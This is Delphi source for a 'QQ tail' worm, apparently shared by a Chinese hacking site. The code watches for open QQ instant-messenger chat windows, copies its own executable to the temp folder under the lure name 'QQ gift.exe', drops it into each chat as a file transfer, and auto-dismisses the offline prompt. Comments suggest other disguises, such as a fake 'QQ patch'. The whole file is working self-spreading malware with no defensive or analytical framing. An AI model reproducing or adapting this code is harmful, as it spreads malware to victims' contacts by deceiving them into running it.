sendfile.pas

QQ尾巴

{-------------------------------------------
QQ尾巴示例源代码
代码整理编写：上兴  主页：www.98exe.com
运行Project1.exe后将自身发送给聊天好友...
--------------------------------------------}
unit SendFile;

interface

uses Windows, Messages, ShellApi, NameList;


procedure Win_run;
function PathFileExists(pszPath: PChar): Bool; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';

implementation


type
  PDropFiles = ^TDropFiles;
  TDropFiles = record
    pFiles: DWord; { offset of file list }
    pt: TPoint; { drop point (client coords) }
    fNC: Bool; { is it on NonClient area , and pt is in screen coords }
    fWide: Bool; { WIDE character switch }
  end;

type
  TWaitEnumInfo = record
    ProcessID: DWord; // 特定进程
    ParentWnd: HWnd; // 父窗口句柄
    MainTitle: PChar; // 窗口标题
    CtrlTitle: PChar; // 控件标题
    CtrlClass: PChar; // 控件类名
    hDialog, hCtrl: HWnd; // 查找结果
  end;


function GetWindowsTempPath(): string; // Windows临时目录
var
  PathBuf: array[0..MAX_PATH] of Char;
  CopyLen: DWord;
begin
  CopyLen := GetTempPath(MAX_PATH, PathBuf);
  if (CopyLen = 0) then Exit;
  if PathBuf[CopyLen - 1] <> '\' then
  begin
    PathBuf[CopyLen] := '\';
    PathBuf[CopyLen + 1] := #0;
  end;
  Result := PathBuf;
end;

{//从文件名中抽取目录名
function ExtractFilePath(FileName: string): string;
begin
  Result := '';
  while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
  begin
    Result := Result + Copy(FileName, 1, 1);
    Delete(FileName, 1, 1);
  end;
end;}

function GetCaption(hWnd: LongWord): string;   // 取窗体文字
var
  szWindowText: array[0..MAX_PATH] of Char;
  szTextLength: Integer;
begin
  szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
  szWindowText[szTextLength] := #0;
  Result := szWindowText;
end;

function WaitEnumFunc(hWnd: HWnd; var lParam: TWaitEnumInfo): Bool; stdcall;  // 枚举回调
var
  PID: DWord;
begin
  Result := True;
  if (IsWindowVisible(hWnd) = FALSE) then Exit; // 窗口不可见
  if (GetClassLong(hWnd, GCW_ATOM) <> 32770) then Exit; // 不是对话框
  if (GetParent(hWnd) <> lParam.ParentWnd) then Exit; // 父窗口不匹配
  GetWindowThreadProcessId(hWnd, PID);
  if (PID <> lParam.ProcessID) then Exit; // 进程不匹配
  if (lParam.MainTitle <> '') and (GetCaption(hWnd) <> lParam.MainTitle) then Exit; // 标题不匹配
  lParam.hCtrl := FindWindowEx(hWnd, 0, lParam.CtrlClass, lParam.CtrlTitle);
  if (IsWindow(lParam.hCtrl) = False) then Exit; // 控件不匹配
  lParam.hDialog := hWnd;
  Result := False;
end;


function WaitForDialog(hParent: HWnd; MainTitle, CtrlClass, CtrlTitle: PChar; TimeOut: DWord; fCtrl: Bool): HWnd;
var      // 搜索窗口,是否在线
  WaitEnumInfo: TWaitEnumInfo;
  StartTick: DWord;
begin
  GetWindowThreadProcessId(hParent, WaitEnumInfo.ProcessID);
  WaitEnumInfo.ParentWnd := hParent;
  WaitEnumInfo.MainTitle := MainTitle;
  WaitEnumInfo.CtrlTitle := CtrlTitle;
  WaitEnumInfo.CtrlClass := CtrlClass;
  WaitEnumInfo.hDialog := 0;
  WaitEnumInfo.hCtrl := 0;

  StartTick := GetTickCount();
  repeat
    EnumWindows(@WaitEnumFunc, Integer(@WaitEnumInfo));
    Sleep(1);
  until IsWindow(WaitEnumInfo.hDialog) or ((GetTickCount() - StartTick) > TimeOut);

  if fCtrl then
    Result := WaitEnumInfo.hCtrl
  else
    Result := WaitEnumInfo.hDialog;
end;


function GetWinClass(hWnd: LongWord): string;  // 取窗口类名
var
  szClassName: array[0..MAX_PATH] of Char;
begin
  szClassName[GetClassName(hWnd, szClassName, MAX_PATH)] := #0;
  Result := szClassName;
end;

function DoDropFile(hDialog: HWnd; const FileName: string): Bool;
var
  hAccept, hButton: HWnd;
  hDropMem: HGLOBAL;
  DropFile: PDropFiles;
begin
  Result := False;
  if (FileName = '') or (PathFileExists(PChar(FileName)) = False) then Exit;

  hAccept := FindWindowEx(hDialog, 0, '#32770', nil);
  if (IsWindow(hAccept) = False) then Exit;

  hDropMem := GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT, SizeOf(TDropFiles) + Length(FileName) + 2);
  if (hDropMem = 0) then Exit;

  DropFile := GlobalLock(hDropMem);
  if (DropFile = nil) then
  begin
    GlobalFree(hDropMem);
    Exit;
  end;

  DropFile.pFiles := SizeOf(TDropFiles);
  DropFile.pt.x := 0;
  DropFile.pt.y := 0;
  DropFile.fNC := False;
  DropFile.fWide := False;

  lStrCpy(PChar(DWord(DropFile) + SizeOf(TDropFiles)), PChar(FileName));

  GlobalUnlock(hDropMem);
  PostMessage(hAccept, WM_DROPFILES, hDropMem, 0);

  hButton := WaitForDialog(hDialog, '对方不在线', 'Button', '否(&N)', 2000, True);
  if IsWindow(hButton) then SendMessage(hButton, BM_CLICK, 0, 0);
end;

function SendEnumFunc(hWnd: HWnd; lParam: LParam): Bool; stdcall;
var
  sQQTitle: string;
   sQQName,sTempFile: string;
  nBegin, nEnd: Integer;
begin
  Result := True;

  if (GetClassLong(hWnd, GCW_ATOM) <> 32770) then Exit;

  sQQTitle := GetCaption(hWnd);
  nBegin := Pos('与', sQQTitle) + 2;
  nEnd := Pos('聊天中', sQQTitle) - 1;
  if (nEnd < 0) or (nEnd < nBegin) then Exit;

  sQQName := Copy(sQQTitle, nBegin, nEnd);
  if (sQQName = '') or (UpdateNameList(sQQName) = False) then Exit;

  sTempFile := GetWindowsTempPath(); //Windows临时目录
  sTempFile := sTempFile + 'QQ礼物.exe';   //可更改'QQ礼物.exe'为其它,如'QQ补丁.rar'
  DeleteFile(PChar(sTempFile));
  CopyFile(PChar(ParamStr(0)), PChar(sTempFile), False); //发送自身,可更改ParamStr(0)为其它程序,如c:\QQ.rar
  
  DoDropFile(hWnd, sTempFile);
end;


procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
begin
  EnumWindows(@SendEnumFunc, 0); //EnumWindows枚举所有的顶层窗口
end;

var
  Msg: TMsg;

procedure Win_run;
begin
  SetTimer(0,1,6000,@TimerProc);
  while GetMessage(Msg, 0, 0, 0) do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
end;

end.